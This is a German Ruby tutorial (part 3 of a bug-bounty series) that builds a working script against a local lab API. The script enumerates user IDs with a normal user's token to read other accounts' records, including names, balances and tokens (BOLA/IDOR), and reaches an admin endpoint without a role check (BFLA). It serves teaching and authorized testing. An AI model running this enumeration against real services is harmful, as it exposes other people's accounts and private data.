// Bug-Bounty-Automatisierung in Ruby · Teil 3
Objektebenen-Autorisierung brechen
Unser Token ist für einen normalen Benutzer — was passiert also, wenn wir damit den Datensatz eines anderen anfragen? Wir bauen einen Checker, der Benutzer-IDs abläuft und jede markiert, die wir lesen können, aber nicht sollten, und finden denselben Fehler auf Endpunktebene. Nebenbei: Methoden, die Werte zurückgeben, Ranges und das Sammeln von Ergebnissen.
Die Karte aus Teil 2 zeigte /api/users/{id}, das ohne Token mit 401
antwortet. Ein 401 heißt authentifiziere dich und versuch’s nochmal — also
tun wir das. Die interessante Frage ist nicht, ob der Endpunkt prüft, dass du
eingeloggt bist (das tut er). Sie ist, ob er prüft, dass der angefragte
Datensatz deiner ist (Spoiler: tut er nicht). Diese Lücke ist gebrochene
Objektebenen-Autorisierung — BOLA, oder das klassische IDOR —, und sie ist
der mit Abstand häufigste ernste API-Bug.
Neue Datei, bola.rb, mit einem Login-Helfer und einem authentifizierten GET:
require 'net/http'
require 'json'
require 'uri'
BASE = 'http://127.0.0.1:4567'
def login(name)
res = Net::HTTP.post(URI("#{BASE}/login"), { 'name' => name }.to_json,
'Content-Type' => 'application/json')
JSON.parse(res.body)['token']
end
def get(path, token)
uri = URI("#{BASE}#{path}")
req = Net::HTTP::Get.new(uri)
req['Authorization'] = "Bearer #{token}"
Net::HTTP.start(uri.host, uri.port) { |http| http.request(req) }
end
login postet einen Namen und gibt das Token aus der Antwort zurück — der
letzte Ausdruck einer Methode ist ihr Rückgabewert, kein return-Schlüsselwort
nötig. get hängt dieses Token als Bearer-Header an. Logge dich als alice ein
und bestätige, wer wir sind:
token = login('alice')
me = JSON.parse(get('/api/me', token).body)
puts "[*] logged in as #{me['name']} (id #{me['id']})"
Die IDs ablaufen
Wir sind Benutzer 1. Der Endpunkt nimmt eine id, also ist die naheliegende
Frage: Können wir 2 lesen? 99? Statt von Hand zu fragen, schleif über ein
paar IDs und lass den Code alles markieren, was nicht wir sind:
[1, 2, 99].each do |id|
res = get("/api/users/#{id}", token)
next unless res.code.to_i == 200
user = JSON.parse(res.body)
flag = id == me['id'] ? 'you ' : 'LEAK'
puts " [#{flag}] users/#{id} -> #{user['name'].ljust(6)} balance #{user['balance']}"
end
[1, 2, 99].each läuft die Liste ab. next unless ... == 200 überspringt alles,
was nicht lesbar zurückkam. Dann ein Ternär — condition ? a : b —
beschriftet die Zeile mit you, wenn die ID unsere eigene ist, sonst mit LEAK.
Führe es gegen das Labor aus:
$ ruby bola.rb
[*] logged in as alice (id 1)
[you ] users/1 -> alice balance 1000
[LEAK] users/2 -> bob balance 1500
[LEAK] users/99 -> admin balance 0
Da ist es. Unser Token auf Normalbenutzer-Ebene las bobs Datensatz und den Datensatz des Admins — Namen, Kontostände und (prüf den rohen Körper) auch ihre Tokens. Der Server authentifizierte uns und fragte dann nie, ob Benutzer 1 Benutzer 2 sehen sollte. Ein Integer entfernt von jedem Konto der Plattform.
Derselbe Fehler, eine Ebene höher
BOLA dreht sich um Objekte — welche Datensätze du erreichen kannst. Sein
Geschwister ist gebrochene Funktionsebenen-Autorisierung (BFLA): welche
Endpunkte du erreichen kannst. Teil 2 markierte /api/admin/stats als 401 ohne
Token. Versuch es mit unserem einfachen Benutzer-Token:
stats = get('/api/admin/stats', token)
puts "[*] /api/admin/stats as a normal user -> HTTP #{stats.code}"
puts " #{stats.body}" if stats.code.to_i == 200
$ ruby bola.rb
...
[*] /api/admin/stats as a normal user -> HTTP 200
{"users":3,"orders":0,"balances":2500}
200, von einem Benutzer, der kein Admin ist. Der Endpunkt prüfte, dass wir
eingeloggt waren, und hörte da auf — er prüfte nie unsere Rolle. Dieselbe
Grundursache wie beim IDOR, eine Schicht höher: authentifiziert wurde als
autorisiert behandelt.
Diese Unterscheidung ist das, was du aus diesem Teil mitnehmen sollst. Einen Benutzer einzuloggen sagt dir, wer er ist. Es sagt nichts darüber, was er anfassen darf — das ist eine separate Prüfung, die der Entwickler für jedes Objekt und jeden Endpunkt schreiben muss, und die vergessene ist dein Fund.
Erkenntnisse
- BOLA / IDOR: Ein Endpunkt prüft, dass du authentifiziert bist, aber nicht,
dass das Objekt deins ist. Zähle IDs mit deinem eigenen gültigen Token auf;
alles, was nicht deins ist und
200zurückkommt, ist der Bug. - BFLA: dieselbe Auslassung auf Endpunktebene — eine privilegierte Route
ohne Rollenprüfung. Ein normales Token, das
/api/admin/*erreicht, ist das Zeichen. - Eine Methode gibt ihren letzten Ausdruck zurück; ein Ternär
c ? a : bwählt inline einen von zwei Werten. - Das mentale Modell: authentifiziert ≠ autorisiert. Jedes Objekt und jede Route braucht ihre eigene Berechtigungsprüfung; jage die fehlenden.
Übungen
get('/api/users/999', token)— eine ID, die nicht existiert. Welcher Status kommt zurück, und wie unterscheidet sich das von einer ID, die zu sehen dir verboten ist? (Diese API leakt, indem sie200zurückgibt; eine korrigierte würde403oder404liefern.)- Mach aus dem Leak Daten: sammle jeden lesbaren-aber-nicht-deinen Benutzer in ein Array von Hashes und gib dann den Gesamtkontostand aus, den du aufzählen konntest.
- Logge dich als
bobein und liesalices Datensatz. Bestätige, dass der Fehler symmetrisch ist — es ist der Endpunkt, der kaputt ist, nicht ein Konto.
Weiter — Teil 4: Wir haben aufgehört, der id zu vertrauen; jetzt hören wir
auf, dem Token selbst zu vertrauen. Wir schauen uns an, wie das Labor sie
ausgibt, und fälschen eines für einen Benutzer, als den wir uns nie eingeloggt
haben.